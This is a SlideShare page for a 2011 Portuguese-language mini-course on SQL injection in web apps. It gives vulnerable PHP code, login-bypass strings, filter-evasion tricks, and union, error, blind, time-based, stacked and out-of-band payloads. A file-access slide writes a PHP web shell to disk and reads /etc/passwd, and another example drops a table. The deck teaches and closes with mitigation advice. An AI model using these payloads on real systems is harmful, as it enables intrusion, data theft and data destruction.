SlideShare ist ein Scribd-Unternehmen logo
1 von 26
Downloaden Sie, um offline zu lesen
Web App Flaws



Minicurso sobre falhas em aplicações web

                 2011

         David G. Guimarães
Roteiro


• SQL Injection
   o Introdução
   o Descobrindo falhas
   o Análise
       Filtros
       Identificação do SGBD/DBMS
       Localização
       Técnicas
   o File Access
   o Mitigação
   o Hands On
• Referências
• Remote/Local File Inclusion
• XSS
SQL Injection
                              Introdução


O que é?
 • Inserção de códigos SQL através da manipulação de dados de entrada
    passados ao aplicativo web.

Como se dá?
 • O desenvolvedor é o responsável direto por tornar o código inseguro.

Causas
 • Desenvolvedor desconhece fatos inerentes a segurança de código, assim
   como a possibilidade de exploração do mesmo.
 • Desenvolvedor conhece fatos inerentes a segurança de código, mas é
   displicente em tomar medidas preventivas para correção do mesmo.
 • Falta de processos definidos relativos a desenvolvimento seguro e
   auditoria.
SQL Injection
                                Introdução


Exemplo de código vulnerável (formulário de login)
 • $query = "select id from usuarios where user='$_GET['user']' and
   password='$_GET['password']'";
 • $usuario = mysql_query($query);

 •   http://vulnsite.com/admin/login.php?
 •   user=admin
 •   &password=' OR '1'='1

Query manipulada:
 • select id from usuarios where user='admin' and password='' or '1'='1'
 • Condição 1=1 sempre verdadeira. Login realizado com sucesso.
SQL Injection
                                Introdução


Características
 • Não necessita interação do usuário, ao contrário de XSS.
 • Sintaxe SQL idêntica ou bastante similar entre todos os SGBD/DBMS.
     o Cheat sheets (Lista dos comandos básicos de SQL p/ cada linguagem)
 • Fácil de ser encontrada e explorada.
 • Possibilidade de acesso ao sistema de arquivos.
 • Possibilidade de exploração de vulnerabilidades no SGBD/DBMS.
 • Dificuldade em se obter mecanismos de proteção genéricos.
 • Milhões de ferramentas livres/open source para scan, análise e exploração.
 • Presente na grande maioria dos sites.
SQL Injection
                              Introdução


Cookbook
 • Descobrindo falhas
    o Manual (Proxy, Firefox Addons)
    o Automatizado (ferramentas de fuzzing)
    o Testes básicos
 • Análise
    o Filtros? (Código de filtro, PHPIDS, WAF, IPS, etc.)
    o SGBD/DBMS utilizado (MySQL, Postgree, SQLServer, Oracle, MSAccess)
    o Localização da falha na query (where/having, group/order by, etc)
    o Técnicas possíveis (union/inband, blind, out-of-band, error, stacked)
    o Privilégios permitidos (USAGE, FILE, administrator)
 • Extração/Enumeração dos dados
    o Databases
    o Tabelas
    o Colunas
    o Linhas
SQL Injection
                            Introdução


Cookbook
 • Post-exploitation
    o Atingindo outros objetivos
    o Encontrando outras falhas
    o Quebrando senhas/hashs usando rainbowtables
    o Acesso ao sistema de arquivos
          Virando root
SQL Injection
                         Descobrindo falhas


Forma automatizada
 • Ferramentas
    o Nessus, w3af, Nikto, Pangolin, Havij, etc.


Forma manual
 • Mapear páginas dinâmicas
 • Passivo
    o Proxy (webscarab, burp, etc.)
    o Addons (Firefox: hackbar, Sql Inject me, tamper data, etc.)


Testes básicos
 • Númerico: id=30
     o Testes: id=30 AND 1=1; id=30'; id=30+4-4; id=30/**/;
 • String: busca=hd
     o busca=hd'; hd'--; hd' AND '1'='1
SQL Injection
                              Análise - Filtros


Analisando e burlando filtros
 • Filtros genéricos de remoção/bloqueio baseado em tokens
      o Exemplo:
           replace("union| |select|--|/*|...", "");

     o   Bypass
           Encoding usando tabela ASCII e hexadecimal
                URLs só podem ser enviadas através da Internet utilizando o conjunto
                 de caracteres ASCII.
                URLs contêm geralmente caracteres fora do conjunto ASCII, que tem
                 de ser convertidos em um formato ASCII válido.
                Encoding de URL substitui caracteres ASCII inseguro com um "%"
                 seguido de dois dígitos hexadecimais.
                Exemplo:
                union vira %75%6e%69%6f%6e
SQL Injection
                              Análise - Filtros


Analisando e burlando filtros
 • Filtros genéricos de remoção/bloqueio baseado em tokens
      o Exemplo:
           replace("union| |select|--|/*|...", "");

     o   Bypass
           Usar outros caracteres para separação entre tokens: 'n'(0x0A), 't'(0x0B),
            etc
           Exemplo:
                Objetivo: id=1 union select 1,2,3--
                Bypass: id=1%0Aunio--n%0Aselec--t%0A1,2,3-select-
           maiúsculas/minúsculas
                select vira sElEcT
SQL Injection
                             Análise - Filtros


Analisando e burlando filtros
 • Filtros de tratamento de caracteres SQL especiais
           mysql_real_escape_string/addslashes/etc.
               trata caracteres ', ", /, , x00, adicionando '' antes dos mesmos,
                 sanitizando-os
               Bypass:
               usar a função char()
               Exemplo:
               union select column_name from information_schema.columns
                 where table_name = 'tabela'
               union select column_name from information_schema.columns
                 where table_name = CHAR(116, 97, 98, 101, 108, 97)


 •   Filtro de tamanho no parâmetro
      o Utiliza função que corta/bloqueia em X bytes o parâmetro
SQL Injection
              Análise - Identificação do SGBD


Identificação do SGBD/DBMS
 • Necessário para extração dos dados/construção da consulta
 • Sintaxe SQL única para cada SGBD

Cheat sheets de funções únicas de cada SGBD
 • MySQL
     o CONNECTION_ID()=CONNECTION_ID(), USER()=USER(),
        substring(@@version, 1, 1)
 • Oracle
     o ROWNUM=ROWNUM, LENGTH(SYSDATE)=LENGTH(SYSDATE)
 • MS SQL Server
     o BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123),
        HOST_NAME()=HOST_NAME()
 • Postgree SQL
     o 1::int=1, VERSION()=VERSION()
SQL Injection
                       Análise - Localização


Query inteira
 • http://vulnsite.com/script.php?sql=select+id,nome+from+usuarios

Colunas/Tabelas
 • http://vulnsite.com/script.php?colunas=cidade&tabela=estado&nome=brasilia
 • $query = "select $_GET['colunas'] from $_GET['tabela'] where nome =
    '$_GET['nome']'";

Where/Having
 • http://vulnsite.com/script.php?noticiaid=2
 • $query = "select titulo,corpo from noticias where id = $_GET['noticiaid']";

Order/Group By
 • http://vulnsite.com/lista.php?ordenar_por=preco
 • $query = "select id,nome,preco from produtos order by
    $_GET['ordernar_por']";
SQL Injection
                       Análise - Localização


Limit
 • http://vulnsite.com/lista.php?pagina=0&linhas_por_pagina=10
 • $query = "select id,nome,preco from produtos order by preco limit
    $_GET['pagina'], $_GET['linhas_por_pagina']";
SQL Injection
                          Análise - Técnicas


Union/In-band based
 • Resultado parcial ou total da query na página de resposta.
     o Resultado depende da lógica do script
     o O resultado pode aparecer no cabeçalho
          Cookies, Location, etc.
          Exemplo em ADS:
              http://site.com/ads.php?url=1
              $query = "select uri from urls where id = $_GET['url']";
              $result = mysql_query($query);
              header("Location: ".mysql_result($result, 1));
SQL Injection
                          Análise - Técnicas


Union/In-band based
 • É necessário a identificação da quantidade de colunas da consulta anterior.
     o A união das consultas deve possuir o mesmo número de colunas.
     o Exemplo:
          select id, nome from users where id=3 union select 1, @@version
     o Uso do order by para descobrir o número de colunas:
          http://vulnsite.com/lista.php?id=3 order by 20
     o Força bruta com NULL para adivinhar o número de colunas
          id=3 union select null, null, null
SQL Injection
                         Análise - Técnicas


Union/In-band based
 • Exemplo:
     o $query = "select nome, telefone from usuarios where id = $_GET['id']"
     o http://vulnsite.com/users.php?id=3 union all select table_name,
        table_schema from information_schema.tables#
SQL Injection
                             Análise - Técnicas


Error based
 • Baseado na manipulação de mensagens de erro geradas pelo SGBD
 • Resultado limitado a um número X de caracteres.
 • Barulhento (gera mensagens de erro que podem ser armazenadas na
    máquina)
 • Exemplo:
      o d=1' AND (SELECT 2373 FROM(SELECT
        COUNT(*),CONCAT(CHAR(58,122,101,100,58),(select
        @@version),CHAR(58,112,122,120,58),FLOOR(RAND(0)*2))x FROM
        information_schema.tables GROUP BY x)a) AND 'kGgv'='kGgv&Submit=Submit
      o ERROR 1062 (23000): Duplicate entry ':5.1.41-3ubuntu12.10:1' for key 'group_key'
SQL Injection
                            Análise - Técnicas


Out-of-band based
 • Uso de requisições DNS e HTTP para recuperar dados
 • Resultado limitado a uma quantidade X de caracteres
 • Exemplo:
     o utl_http.request('http://www.foo.com:80/'||(select username from
        dba_users where rownum=1))
     o 10.1.1.101 - - [08/Aug/2007:10:02:40 +0000] "GET /SYS HTTP/1.1" 404
        0--

     o   utl_http.request('http://'||(select user from dual)||'.dyndns.com')
     o   Verificar logs do bind/named ou;
     o   Wireshark/tcpdump na porta 53 do servidor DNS.
SQL Injection
                        Análise - Técnicas


Blind based
 • Realiza inúmeras comparações para obtenção da informação
 • Muito lento
      o Aperfeiçoado usando-se paralelismo (threads)
      o Aperfeiçoado usando-se busca binária.
      o Exemplo:
           id=1 and substring(@@version, 1, 1)=5
           id=1 and substring(@@version, 2, 1)='.'
           etc
SQL Injection
                          Análise - Técnicas


Full-blind time based
 • Baseada em tempo de resposta
      o waitfor delay '0:0:5', sleep(5), etc.
 • Mais lenta de todas
 • Pode-se utilizar paralelismo
 • Pode-se utilizar "heavy queries":
      o BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))
 • Pode gerar resultados inválidos/inconsistentes
 • Exemplo:
      o http://vulnsite.com/vulnscript.php?id=45;if EXISTS (select loginame from
         master..sysprocesses where spid = @@SPID and loginame =
         'dominiousuario') waitfor delay '0:0:5'--
      o Dorme 5 segundos caso o loginame seja o especificado.
SQL Injection
                          Análise - Técnicas


Stacked based
 • Permite alteração dos dados no BD. UPDATE, DROP, etc.
 • Possível somente em algumas tecnologias.
 • Pode ser utilizada em conjunto com a técnica baseada em tempo e baseada
    em erro.
 • Exemplo:
     o busca=nome'; drop table noticias--
     o busca=nome'; if (substring(@@version, 1, 1)='M') waitfor delay '0:0:5'
        else select 1;--
SQL Injection
                         Análise - File Access


•   Depende do nível de permissão do usuário.
•   Permite leitura, escrita e execução de arquivos com a permissão do usuário
    rodando o DBMS.
•   Exemplo:
     o Leitura:
          id=1 union select load_file('/etc/passwd');
     o Escrita:
          id=1 union select "<?php system($_GET['cmd']); ?>" into outfile
           '/var/www/c.php';--
          id=1 union select "<?php fwrite(fopen($_POST[t],w),$_POST[d]); ?>" into
           outfile '/var/www/c.php';--
     o Execução:
          xp_cmdshell()
          UDF Injection
SQL Injection
                              Evitando SQLi


Sanitizar/tratar todos os parâmetros recebidos dos usuários.
 • Inteiro
      o Converter entrada para inteiro (intval(), is_numeric());
      o Tratar possibilidade de números negativos;
 •  String
     o Tratar entrada com regex
     o Tratar caracteres especiais (htmlentities($param, ENT_QUOTES))
          html, sql, etc.
Tratar TODAS as possíveis mensagens de erro, configurar tecnologia para não
mostrar erros para o usuário.
SQL Injection
                Hands On - Ao que interessa


•   Demonstração de todos os passos para exploração de Web App Flaws.
•   DVWA - ferramenta de demonstração/aplicação de vulnerabilidades
•   SQLMAP - ferramenta para extração de dados
SQL Injection
                                Referências


•   Google codelab: http://google-gruyere.appspot.com/
•   Ferramentas: sqlsus, sqlmap, pangolin, marathon, bsqli, Havij, sqlninja, etc.
•   Tabela ASCII: http://www.asciitable.com/
•   SQL Injection Cheat Sheets: http://pentestmonkey.net/blog/mysql-sql-
    injection-cheat-sheet/

Weitere ähnliche Inhalte

Was ist angesagt?

Solr - Indexação e Busca com ferramenta Open Source
Solr - Indexação e Busca com ferramenta Open SourceSolr - Indexação e Busca com ferramenta Open Source
Solr - Indexação e Busca com ferramenta Open SourceMarcelo Rodrigues
 
Seminário PHP Injection/ SQL Injection
Seminário PHP Injection/ SQL InjectionSeminário PHP Injection/ SQL Injection
Seminário PHP Injection/ SQL InjectionDavi Rodrigues
 
How to use Elasticsearch Analyzers by EmergiNet
How to use  Elasticsearch Analyzers by EmergiNetHow to use  Elasticsearch Analyzers by EmergiNet
How to use Elasticsearch Analyzers by EmergiNetEmergiNet
 
PHP robusto com Zend Framework
PHP robusto com Zend FrameworkPHP robusto com Zend Framework
PHP robusto com Zend FrameworkJaime Neto
 
um breve treinamento sobre SQL e suas funcionalidades
um breve treinamento sobre SQL e suas funcionalidadesum breve treinamento sobre SQL e suas funcionalidades
um breve treinamento sobre SQL e suas funcionalidadesWilliam Costa
 

Was ist angesagt? (7)

Solr - Indexação e Busca com ferramenta Open Source
Solr - Indexação e Busca com ferramenta Open SourceSolr - Indexação e Busca com ferramenta Open Source
Solr - Indexação e Busca com ferramenta Open Source
 
Seminário PHP Injection/ SQL Injection
Seminário PHP Injection/ SQL InjectionSeminário PHP Injection/ SQL Injection
Seminário PHP Injection/ SQL Injection
 
Aula 8 - SQL Injection
Aula 8 - SQL InjectionAula 8 - SQL Injection
Aula 8 - SQL Injection
 
How to use Elasticsearch Analyzers by EmergiNet
How to use  Elasticsearch Analyzers by EmergiNetHow to use  Elasticsearch Analyzers by EmergiNet
How to use Elasticsearch Analyzers by EmergiNet
 
PHP robusto com Zend Framework
PHP robusto com Zend FrameworkPHP robusto com Zend Framework
PHP robusto com Zend Framework
 
Snep arquitetura
Snep arquiteturaSnep arquitetura
Snep arquitetura
 
um breve treinamento sobre SQL e suas funcionalidades
um breve treinamento sobre SQL e suas funcionalidadesum breve treinamento sobre SQL e suas funcionalidades
um breve treinamento sobre SQL e suas funcionalidades
 

Andere mochten auch

Propriedades da matéria bruna silva
Propriedades da matéria bruna silvaPropriedades da matéria bruna silva
Propriedades da matéria bruna silvaemefguerreiro
 
Apresentação para Seminário de Práticas - Final de 2010
Apresentação para Seminário de Práticas - Final de 2010Apresentação para Seminário de Práticas - Final de 2010
Apresentação para Seminário de Práticas - Final de 2010gtcurriculopadrenarciso
 
MvrMultiplicação por valores relativos
MvrMultiplicação por valores relativosMvrMultiplicação por valores relativos
MvrMultiplicação por valores relativosAgapito Ribeiro Junior
 
Jornal copa 2010
Jornal copa 2010Jornal copa 2010
Jornal copa 2010momangas
 
9 de julio 1816
9 de julio 18169 de julio 1816
9 de julio 1816Katz1234
 
O consumo contemporâneo, as novas mídias e a comunicação - Teoria e Técnica d...
O consumo contemporâneo, as novas mídias e a comunicação - Teoria e Técnica d...O consumo contemporâneo, as novas mídias e a comunicação - Teoria e Técnica d...
O consumo contemporâneo, as novas mídias e a comunicação - Teoria e Técnica d...Julia Travaglini
 
Delair: Atividades e Projetos
Delair: Atividades e ProjetosDelair: Atividades e Projetos
Delair: Atividades e ProjetosLuiz Anjos
 
Mailton lopes, deivid silva
Mailton lopes, deivid silvaMailton lopes, deivid silva
Mailton lopes, deivid silvaemefguerreiro
 
Verdade inesperada 8
Verdade inesperada 8Verdade inesperada 8
Verdade inesperada 8VideoNewEye
 
Cronograma poesia-festival
Cronograma poesia-festivalCronograma poesia-festival
Cronograma poesia-festivalUniversia Perú
 
Seus problemas são importantes pra Deus
Seus problemas são importantes pra DeusSeus problemas são importantes pra Deus
Seus problemas são importantes pra DeusAlexandre Azeredo
 
Trabalho rosa e alessandro 2º parte.
Trabalho rosa e alessandro 2º parte.Trabalho rosa e alessandro 2º parte.
Trabalho rosa e alessandro 2º parte.Rosa Serique
 
Acreditación de programas de grado en ingeniería, arquitectura y diseño -Expe...
Acreditación de programas de grado en ingeniería, arquitectura y diseño -Expe...Acreditación de programas de grado en ingeniería, arquitectura y diseño -Expe...
Acreditación de programas de grado en ingeniería, arquitectura y diseño -Expe...Consejo de Rectores de Panamá
 
Atividade Educacional - Etapa 4 - Elizabeth P B Chaves
Atividade Educacional - Etapa 4 - Elizabeth P B ChavesAtividade Educacional - Etapa 4 - Elizabeth P B Chaves
Atividade Educacional - Etapa 4 - Elizabeth P B Chaveslulublog
 

Andere mochten auch (20)

Viagem virtual02
Viagem virtual02 Viagem virtual02
Viagem virtual02
 
Propriedades da matéria bruna silva
Propriedades da matéria bruna silvaPropriedades da matéria bruna silva
Propriedades da matéria bruna silva
 
Oi pm
Oi pmOi pm
Oi pm
 
Apresentação para Seminário de Práticas - Final de 2010
Apresentação para Seminário de Práticas - Final de 2010Apresentação para Seminário de Práticas - Final de 2010
Apresentação para Seminário de Práticas - Final de 2010
 
MvrMultiplicação por valores relativos
MvrMultiplicação por valores relativosMvrMultiplicação por valores relativos
MvrMultiplicação por valores relativos
 
Jornal copa 2010
Jornal copa 2010Jornal copa 2010
Jornal copa 2010
 
9 de julio 1816
9 de julio 18169 de julio 1816
9 de julio 1816
 
O consumo contemporâneo, as novas mídias e a comunicação - Teoria e Técnica d...
O consumo contemporâneo, as novas mídias e a comunicação - Teoria e Técnica d...O consumo contemporâneo, as novas mídias e a comunicação - Teoria e Técnica d...
O consumo contemporâneo, as novas mídias e a comunicação - Teoria e Técnica d...
 
Delair: Atividades e Projetos
Delair: Atividades e ProjetosDelair: Atividades e Projetos
Delair: Atividades e Projetos
 
Vocação
VocaçãoVocação
Vocação
 
Mailton lopes, deivid silva
Mailton lopes, deivid silvaMailton lopes, deivid silva
Mailton lopes, deivid silva
 
A poesia
A poesiaA poesia
A poesia
 
Verdade inesperada 8
Verdade inesperada 8Verdade inesperada 8
Verdade inesperada 8
 
Pasta1
Pasta1Pasta1
Pasta1
 
Cronograma poesia-festival
Cronograma poesia-festivalCronograma poesia-festival
Cronograma poesia-festival
 
Seus problemas são importantes pra Deus
Seus problemas são importantes pra DeusSeus problemas são importantes pra Deus
Seus problemas são importantes pra Deus
 
Trabalho rosa e alessandro 2º parte.
Trabalho rosa e alessandro 2º parte.Trabalho rosa e alessandro 2º parte.
Trabalho rosa e alessandro 2º parte.
 
Acreditación de programas de grado en ingeniería, arquitectura y diseño -Expe...
Acreditación de programas de grado en ingeniería, arquitectura y diseño -Expe...Acreditación de programas de grado en ingeniería, arquitectura y diseño -Expe...
Acreditación de programas de grado en ingeniería, arquitectura y diseño -Expe...
 
Atividade Educacional - Etapa 4 - Elizabeth P B Chaves
Atividade Educacional - Etapa 4 - Elizabeth P B ChavesAtividade Educacional - Etapa 4 - Elizabeth P B Chaves
Atividade Educacional - Etapa 4 - Elizabeth P B Chaves
 
Jsf
JsfJsf
Jsf
 

Ähnlich wie Web App Flaws Guide

Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesPalestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesClavis Segurança da Informação
 
Segurança em Aplicações Web
Segurança em Aplicações WebSegurança em Aplicações Web
Segurança em Aplicações WebCassio Ramos
 
Dica 02 - Como mitigar os ataques de SQL Injection em aplicações WEB
Dica 02 - Como mitigar os ataques de SQL Injection em aplicações WEBDica 02 - Como mitigar os ataques de SQL Injection em aplicações WEB
Dica 02 - Como mitigar os ataques de SQL Injection em aplicações WEBAlcyon Ferreira de Souza Junior, MSc
 
Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...
Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...
Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...Clavis Segurança da Informação
 
Desenvolvimento de Software Seguro
Desenvolvimento de Software SeguroDesenvolvimento de Software Seguro
Desenvolvimento de Software SeguroAugusto Lüdtke
 
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerra
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerraAprendendo a atacar (e proteger) aplicações web através de jogos de guerra
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerraClavis Segurança da Informação
 
Desenvolvimento Web - Palestra Coding Night #3 - Microsoft
Desenvolvimento Web - Palestra Coding Night #3 - MicrosoftDesenvolvimento Web - Palestra Coding Night #3 - Microsoft
Desenvolvimento Web - Palestra Coding Night #3 - MicrosoftRubens Guimarães - MTAC MVP
 
Desenvolvimento de software seguro
Desenvolvimento de software seguroDesenvolvimento de software seguro
Desenvolvimento de software seguroCharles Fortes
 
Minicurso de Segurança em Java EE 7
Minicurso de Segurança em Java EE 7Minicurso de Segurança em Java EE 7
Minicurso de Segurança em Java EE 7Helder da Rocha
 
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEEAppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEEMagno Logan
 
Tony\'s Top 10 Computer Forensics Artifacts
Tony\'s Top 10 Computer Forensics ArtifactsTony\'s Top 10 Computer Forensics Artifacts
Tony\'s Top 10 Computer Forensics Artifactstonyrodrigues
 

Ähnlich wie Web App Flaws Guide (20)

Segurança Web: O MMA da Tecnologia
Segurança Web: O MMA da TecnologiaSegurança Web: O MMA da Tecnologia
Segurança Web: O MMA da Tecnologia
 
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesPalestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
 
Segurança Web com PHP5
Segurança Web com PHP5Segurança Web com PHP5
Segurança Web com PHP5
 
Segurança em Aplicações Web
Segurança em Aplicações WebSegurança em Aplicações Web
Segurança em Aplicações Web
 
Dica 02 - Como mitigar os ataques de SQL Injection em aplicações WEB
Dica 02 - Como mitigar os ataques de SQL Injection em aplicações WEBDica 02 - Como mitigar os ataques de SQL Injection em aplicações WEB
Dica 02 - Como mitigar os ataques de SQL Injection em aplicações WEB
 
Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...
Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...
Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...
 
Desenvolvimento de Software Seguro
Desenvolvimento de Software SeguroDesenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
 
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerra
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerraAprendendo a atacar (e proteger) aplicações web através de jogos de guerra
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerra
 
Desenvolvimento Web - Palestra Coding Night #3 - Microsoft
Desenvolvimento Web - Palestra Coding Night #3 - MicrosoftDesenvolvimento Web - Palestra Coding Night #3 - Microsoft
Desenvolvimento Web - Palestra Coding Night #3 - Microsoft
 
Desenvolvimento de software seguro
Desenvolvimento de software seguroDesenvolvimento de software seguro
Desenvolvimento de software seguro
 
Hibernate-consultas
Hibernate-consultasHibernate-consultas
Hibernate-consultas
 
Testes de Segurança de Software (tech-ed 2008)
Testes de Segurança de Software (tech-ed 2008)Testes de Segurança de Software (tech-ed 2008)
Testes de Segurança de Software (tech-ed 2008)
 
Minicurso de Segurança em Java EE 7
Minicurso de Segurança em Java EE 7Minicurso de Segurança em Java EE 7
Minicurso de Segurança em Java EE 7
 
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEEAppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
 
Teste de segurança do lado servidor - Nível 1
Teste de segurança do lado servidor - Nível 1Teste de segurança do lado servidor - Nível 1
Teste de segurança do lado servidor - Nível 1
 
Doctrine for dummies
Doctrine for dummiesDoctrine for dummies
Doctrine for dummies
 
Treinamento Elasticsearch - Parte 1
Treinamento Elasticsearch - Parte 1Treinamento Elasticsearch - Parte 1
Treinamento Elasticsearch - Parte 1
 
PHP MySQL Aula 07
PHP MySQL Aula 07PHP MySQL Aula 07
PHP MySQL Aula 07
 
Doctrine for Dummies
Doctrine for DummiesDoctrine for Dummies
Doctrine for Dummies
 
Tony\'s Top 10 Computer Forensics Artifacts
Tony\'s Top 10 Computer Forensics ArtifactsTony\'s Top 10 Computer Forensics Artifacts
Tony\'s Top 10 Computer Forensics Artifacts
 

Web App Flaws Guide

  • 1. Web App Flaws Minicurso sobre falhas em aplicações web 2011 David G. Guimarães
  • 2. Roteiro • SQL Injection o Introdução o Descobrindo falhas o Análise  Filtros  Identificação do SGBD/DBMS  Localização  Técnicas o File Access o Mitigação o Hands On • Referências • Remote/Local File Inclusion • XSS
  • 3. SQL Injection Introdução O que é? • Inserção de códigos SQL através da manipulação de dados de entrada passados ao aplicativo web. Como se dá? • O desenvolvedor é o responsável direto por tornar o código inseguro. Causas • Desenvolvedor desconhece fatos inerentes a segurança de código, assim como a possibilidade de exploração do mesmo. • Desenvolvedor conhece fatos inerentes a segurança de código, mas é displicente em tomar medidas preventivas para correção do mesmo. • Falta de processos definidos relativos a desenvolvimento seguro e auditoria.
  • 4. SQL Injection Introdução Exemplo de código vulnerável (formulário de login) • $query = "select id from usuarios where user='$_GET['user']' and password='$_GET['password']'"; • $usuario = mysql_query($query); • http://vulnsite.com/admin/login.php? • user=admin • &password=' OR '1'='1 Query manipulada: • select id from usuarios where user='admin' and password='' or '1'='1' • Condição 1=1 sempre verdadeira. Login realizado com sucesso.
  • 5. SQL Injection Introdução Características • Não necessita interação do usuário, ao contrário de XSS. • Sintaxe SQL idêntica ou bastante similar entre todos os SGBD/DBMS. o Cheat sheets (Lista dos comandos básicos de SQL p/ cada linguagem) • Fácil de ser encontrada e explorada. • Possibilidade de acesso ao sistema de arquivos. • Possibilidade de exploração de vulnerabilidades no SGBD/DBMS. • Dificuldade em se obter mecanismos de proteção genéricos. • Milhões de ferramentas livres/open source para scan, análise e exploração. • Presente na grande maioria dos sites.
  • 6. SQL Injection Introdução Cookbook • Descobrindo falhas o Manual (Proxy, Firefox Addons) o Automatizado (ferramentas de fuzzing) o Testes básicos • Análise o Filtros? (Código de filtro, PHPIDS, WAF, IPS, etc.) o SGBD/DBMS utilizado (MySQL, Postgree, SQLServer, Oracle, MSAccess) o Localização da falha na query (where/having, group/order by, etc) o Técnicas possíveis (union/inband, blind, out-of-band, error, stacked) o Privilégios permitidos (USAGE, FILE, administrator) • Extração/Enumeração dos dados o Databases o Tabelas o Colunas o Linhas
  • 7. SQL Injection Introdução Cookbook • Post-exploitation o Atingindo outros objetivos o Encontrando outras falhas o Quebrando senhas/hashs usando rainbowtables o Acesso ao sistema de arquivos  Virando root
  • 8. SQL Injection Descobrindo falhas Forma automatizada • Ferramentas o Nessus, w3af, Nikto, Pangolin, Havij, etc. Forma manual • Mapear páginas dinâmicas • Passivo o Proxy (webscarab, burp, etc.) o Addons (Firefox: hackbar, Sql Inject me, tamper data, etc.) Testes básicos • Númerico: id=30 o Testes: id=30 AND 1=1; id=30'; id=30+4-4; id=30/**/; • String: busca=hd o busca=hd'; hd'--; hd' AND '1'='1
  • 9. SQL Injection Análise - Filtros Analisando e burlando filtros • Filtros genéricos de remoção/bloqueio baseado em tokens o Exemplo:  replace("union| |select|--|/*|...", ""); o Bypass  Encoding usando tabela ASCII e hexadecimal  URLs só podem ser enviadas através da Internet utilizando o conjunto de caracteres ASCII.  URLs contêm geralmente caracteres fora do conjunto ASCII, que tem de ser convertidos em um formato ASCII válido.  Encoding de URL substitui caracteres ASCII inseguro com um "%" seguido de dois dígitos hexadecimais.  Exemplo:  union vira %75%6e%69%6f%6e
  • 10. SQL Injection Análise - Filtros Analisando e burlando filtros • Filtros genéricos de remoção/bloqueio baseado em tokens o Exemplo:  replace("union| |select|--|/*|...", ""); o Bypass  Usar outros caracteres para separação entre tokens: 'n'(0x0A), 't'(0x0B), etc  Exemplo:  Objetivo: id=1 union select 1,2,3--  Bypass: id=1%0Aunio--n%0Aselec--t%0A1,2,3-select-  maiúsculas/minúsculas  select vira sElEcT
  • 11. SQL Injection Análise - Filtros Analisando e burlando filtros • Filtros de tratamento de caracteres SQL especiais  mysql_real_escape_string/addslashes/etc.  trata caracteres ', ", /, , x00, adicionando '' antes dos mesmos, sanitizando-os  Bypass:  usar a função char()  Exemplo:  union select column_name from information_schema.columns where table_name = 'tabela'  union select column_name from information_schema.columns where table_name = CHAR(116, 97, 98, 101, 108, 97) • Filtro de tamanho no parâmetro o Utiliza função que corta/bloqueia em X bytes o parâmetro
  • 12. SQL Injection Análise - Identificação do SGBD Identificação do SGBD/DBMS • Necessário para extração dos dados/construção da consulta • Sintaxe SQL única para cada SGBD Cheat sheets de funções únicas de cada SGBD • MySQL o CONNECTION_ID()=CONNECTION_ID(), USER()=USER(), substring(@@version, 1, 1) • Oracle o ROWNUM=ROWNUM, LENGTH(SYSDATE)=LENGTH(SYSDATE) • MS SQL Server o BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123), HOST_NAME()=HOST_NAME() • Postgree SQL o 1::int=1, VERSION()=VERSION()
  • 13. SQL Injection Análise - Localização Query inteira • http://vulnsite.com/script.php?sql=select+id,nome+from+usuarios Colunas/Tabelas • http://vulnsite.com/script.php?colunas=cidade&tabela=estado&nome=brasilia • $query = "select $_GET['colunas'] from $_GET['tabela'] where nome = '$_GET['nome']'"; Where/Having • http://vulnsite.com/script.php?noticiaid=2 • $query = "select titulo,corpo from noticias where id = $_GET['noticiaid']"; Order/Group By • http://vulnsite.com/lista.php?ordenar_por=preco • $query = "select id,nome,preco from produtos order by $_GET['ordernar_por']";
  • 14. SQL Injection Análise - Localização Limit • http://vulnsite.com/lista.php?pagina=0&linhas_por_pagina=10 • $query = "select id,nome,preco from produtos order by preco limit $_GET['pagina'], $_GET['linhas_por_pagina']";
  • 15. SQL Injection Análise - Técnicas Union/In-band based • Resultado parcial ou total da query na página de resposta. o Resultado depende da lógica do script o O resultado pode aparecer no cabeçalho  Cookies, Location, etc.  Exemplo em ADS:  http://site.com/ads.php?url=1  $query = "select uri from urls where id = $_GET['url']";  $result = mysql_query($query);  header("Location: ".mysql_result($result, 1));
  • 16. SQL Injection Análise - Técnicas Union/In-band based • É necessário a identificação da quantidade de colunas da consulta anterior. o A união das consultas deve possuir o mesmo número de colunas. o Exemplo:  select id, nome from users where id=3 union select 1, @@version o Uso do order by para descobrir o número de colunas:  http://vulnsite.com/lista.php?id=3 order by 20 o Força bruta com NULL para adivinhar o número de colunas  id=3 union select null, null, null
